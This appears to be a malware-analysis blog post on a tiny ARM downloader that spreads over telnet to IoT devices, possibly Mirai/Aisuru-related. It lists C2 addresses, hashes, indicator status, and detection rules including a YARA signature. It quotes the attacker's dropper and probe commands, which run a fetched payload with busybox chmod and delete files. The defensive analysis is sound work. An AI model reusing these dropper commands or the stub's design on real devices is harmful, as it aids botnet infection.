1,300 bytes, three C2s in two weeks
A tiny ARM download stub whose only per-build change is a 4-byte C2 address.
A static ARM ELF of 1,300 bytes, echoed onto telnet-reachable devices. Static analysis only.
What it does
No libc, six syscalls:
socket(AF_INET, SOCK_STREAM)connectto an IPv4 stored as 4 raw bytes in.data, port 2345writeone byte:0x04read128 bytes at a time andwriteeach chunk to stdoutclose,exit(5)
The server sends a binary; the stub just pipes it out. The dropper does the rest:
/bin/busybox chmod 777 .d; ./.d > .f; /bin/busybox chmod 777 .f; ./.f telnet; rm -rf .d
The session first probes writable dirs with >/<dir>/.f && chmod 777 /<dir>/.f && /<dir>/.f, sends /bin/busybox HISILICON as a marker, and reads /proc/cpuinfo. The 0x04 byte is likely an architecture ID; I have no other builds to confirm it.
Three builds, one diff
The three 1,300-byte builds are byte-identical except offset 0x3b0, the C2:
| sha256 | C2 | Seen | Sessions / sources |
|---|---|---|---|
2df93a8f84ac9967e9b8ca382715eb68906a45c5e8975aebe092a61b6a117617 | 129.121.115[.]43:2345 | 4–10 Nov | 16 / 13 |
73bfd6d1044e2d708e4095efb1b8cb4646318e1bb5fd25d9660d5cbcffa8b4c1 | 194.35.120[.]124:2345 | 11–17 Nov | 237 / 58 |
4174a452a465c4104c895d326cc6b2f31f3706b6ba5272c4baea2063802624f6 | 101.53.134[.]34:2345 | 17 Nov | 44 / 6 |
A new hash each time the server moves. Match on code, not hash.
Eight more tiny ARM ELFs (696–1,452 bytes) turned up between 13 October and 16 November, each in one session at most. Two carry the same port 2345 literal; the rest are truncated or different stubs. On 17 November only one of the eight (00d21a53…, Mirai, 14 Oct) was on MalwareBazaar.
Known vs. new
| Status (17 Nov) | |
|---|---|
| 129.121.115[.]43 | ThreatFox (Dense; tipo_deincognito as Aisuru), URLhaus since 25 Oct |
| 194.35.120[.]124 | URLhaus since 16 Nov (abuse_ch) |
| 101.53.134[.]34 | Not on ThreatFox or URLhaus |
| Stub hashes | None on MalwareBazaar or ThreatFox; one on VirusTotal with 0 detections |
The ThreatFox Aisuru tag on the first C2 is the only attribution I have. Echo-written downloaders are old Mirai tradecraft; the single-byte request on 2345 is the distinctive part.
Detection
- TCP to port 2345 followed by a client payload of exactly
0x04 - Telnet input
/bin/busybox HISILICONand./.d > .f - ARM ELF under 2 KB with no imports and only
socket/connect/read/writesyscalls
rule arm_2345_stub
{
strings:
$port = { 09 29 00 00 } // sin_port 2345, literal pool
condition:
uint32(0) == 0x464c457f and uint16(0x12) == 0x28
and filesize < 2KB and $port
}